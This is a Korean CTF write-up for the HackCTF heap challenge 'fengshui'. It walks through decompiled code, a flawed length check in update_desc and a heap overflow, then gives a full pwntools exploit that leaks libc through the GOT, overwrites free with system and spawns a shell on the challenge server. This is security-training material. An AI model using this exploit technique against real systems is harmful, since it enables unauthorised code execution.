Pwnable/hackCTF

풍수지리설

Writeup


File information


Code

Main

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char v3; // [esp+3h] [ebp-15h]
  int v4; // [esp+4h] [ebp-14h]
  size_t v5; // [esp+8h] [ebp-10h]
  unsigned int v6; // [esp+Ch] [ebp-Ch]
​
  v6 = __readgsdword(0x14u);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  alarm(0x3Cu);
  while ( 1 )
  {
    puts("0: Add a Location");
    puts("1: Delete a Location");
    puts("2: Display a Location");
    puts("3: Update a Location description");
    puts("4: Exit");
    printf("Choice: ");
    if ( __isoc99_scanf("%d", &v4) == -1 )
      break;
    if ( !v4 )
    {
      printf("Size of description: ");
      __isoc99_scanf("%u%c", &v5, &v3);
      add_location(v5);
    }
    if ( v4 == 1 )
    {
      printf("Index: ");
      __isoc99_scanf("%d", &v5);
      delete_location(v5);
    }
    if ( v4 == 2 )
    {
      printf("Index: ");
      __isoc99_scanf("%d", &v5);
      display_location(v5);
    }
    if ( v4 == 3 )
    {
      printf("Index: ");
      __isoc99_scanf("%d", &v5);
      update_desc(v5);
    }
    if ( v4 == 4 )
    {
      puts("^^7");
      exit(0);
    }
    if ( cnt > 49u )
    {
      puts("Capacity Exceeded!");
      exit(0);
    }
  }
  exit(1);
}
  • Main함수는 다음과 같은 역할을 한다.
    • 0~4번까지 각각의 함수 호출
    • 할당할 크기나 index는 main에서 scanf로 입력받는다.

 

add_location

_DWORD *__cdecl add_location(size_t a1)
{
  void *s; // ST24_4
  _DWORD *v2; // ST28_4
​
  s = malloc(a1);
  memset(s, 0, a1);
  v2 = malloc(128u);
  memset(v2, 0, 128u);
  *v2 = s;
  store[cnt] = v2;
  printf("Name: ");
  read_len(store[cnt] + 4, 124);
  update_desc(++cnt - 1);
  return v2;
}
  • add_location은 다음과 같은 역할을 한다.
    • desc, name 순으로 동적 할당이 된다.
    • 동적 할당 시 할당한 영역을 0으로 초기화해준다.

[add_location 동작 방식]

 

delete_location

unsigned int __cdecl delete_location(unsigned __int8 a1)
{
  unsigned int v2; // [esp+1Ch] [ebp-Ch]
​
  v2 = __readgsdword(0x14u);
  if ( a1 < cnt && store[a1] )
  {
    free(*store[a1]);
    free(store[a1]);
    store[a1] = 0;
  }
  return __readgsdword(0x14u) ^ v2;
}
  • delete_location은 다음과 같은 역할을 한다.
    • desc, name순으로 free를 진행한다.
    • 해당 index를 0으로 값을 바꿔준다.

 

display_location

unsigned int __cdecl display_location(unsigned __int8 a1)
{
  unsigned int v2; // [esp+1Ch] [ebp-Ch]
​
  v2 = __readgsdword(0x14u);
  if ( a1 < cnt && store[a1] )
  {
    printf("Name: %s\n", store[a1] + 4);
    printf("Description: %s\n", *store[a1]);
  }
  return __readgsdword(0x14u) ^ v2;
}
  • display_location은 다음과 같은 역할을 한다.
    • name과 desc를 출력한다.

 

update_desc

unsigned int __cdecl update_desc(unsigned __int8 a1)
{
  char v2; // [esp+17h] [ebp-11h]
  int v3; // [esp+18h] [ebp-10h]
  unsigned int v4; // [esp+1Ch] [ebp-Ch]
​
  v4 = __readgsdword(0x14u);
  if ( a1 < cnt && store[a1] )
  {
    v3 = 0;
    printf("Text length: ");
    __isoc99_scanf("%u%c", &v3, &v2);
    if ( (v3 + *store[a1]) >= store[a1] - 4 )
    {
      puts("Nah...");
      exit(1);
    }
    printf("Text: ");
    read_len(*store[a1], v3 + 1);
  }
  return __readgsdword(0x14u) ^ v4;
}
  • update_desc는 다음과 같은 역할을 한다.
    • 입력받을 데이터의 길이를 입력받다.
    • 입력받은 길이 값이 생성한 desc의 크기보다 큰지 체크를 한다.
      • 체크는 입력받은 길이 + desc주소를 더한 값이 name주소보다 크다면 종료가 된다.
    • 길이만큼 데이터를 입력받는다.

 

Exploit

이 문제는 update_desc의 길이 체크 부분 허점을 이용하여 heap overflow를 일으켜 공격을 진행한다.

다음과 같이 할당이 되었을 때 첫 번째 index를 free를 하게 되면 desc부분은 fastbin으로 name은 unsortedbin으로 이동하게 된다. 아래는 왼쪽이 free 된 모습이며, 오른쪽은 free 이후 128 크기의 desc를 할당하였을 때의 모습이다. 다음과 같이 desc가 할당이 되었을 때 update_desc에서 길이를 체크하는 부분을 우회할 수 있다. 즉 heap overflow를 일으킬 수 있다.

 

이후 display_location을 이용하여 leak을 하고 delete_location의 free를 이용하여 system("/bin/sh")을 호출하면 된다.

 

exploit code

from pwn import *
​
# p=process("./fengshui")
p=remote("ctf.j0n9hyun.xyz",3028)
libc=ELF("./libc.so.6")
​
def Add(size,name,length,text):
    p.sendlineafter("Choice: ", '0')
    p.sendlineafter("Size of description:", str(size))
    p.sendlineafter("Name:", name)
    p.sendlineafter("Text length:", str(length))
    p.sendlineafter("Text:",text)
​
def Delete(index):
    p.sendlineafter("Choice: ", '1')
    p.sendlineafter("Index:", str(index))
​
def Display(index):
    p.sendlineafter("Choice: ", '2')
    p.sendlineafter("Index:", str(index))
​
def Update(index,length,text):
    p.sendlineafter("Choice: ", '3')
    p.sendlineafter("Index:", str(index))
    p.sendlineafter("Text length:", str(length))
    p.sendlineafter("Text:",text)
​
free_got = 0x804b010
free_plt = 0x80484f0
free_off = libc.symbols['free']
system_off = libc.symbols['system']
​
dummy="A"*152
dummy+=p32(free_got)
Add(8,'A',8,'A')
Add(8,'A',8,'A')
Add(8,'/bin/sh',8,'/bin/sh')
Delete(0)
Add(128,'A',156,dummy)
​
Display(1)
p.recvuntil("on:")
leak = u32(p.recvn(5)[1:5])
libc_base = leak - free_off
system = libc_base + system_off
log.info("leak = " + hex(leak))
log.info("libc_base = " + hex(libc_base))
​
Update(1,4,p32(system))
Delete(2)
p.interactive()

'Pwnable > hackCTF' 카테고리의 다른 글

babyfsb (64bit fsb)  (0) 2020.03.23
you_are_silver (64bit fsb)  (0) 2020.03.21
훈폰정음  (0) 2020.03.10
HackCTF UAF  (2) 2020.01.23
HackCTF Beginner_Heap  (0) 2020.01.22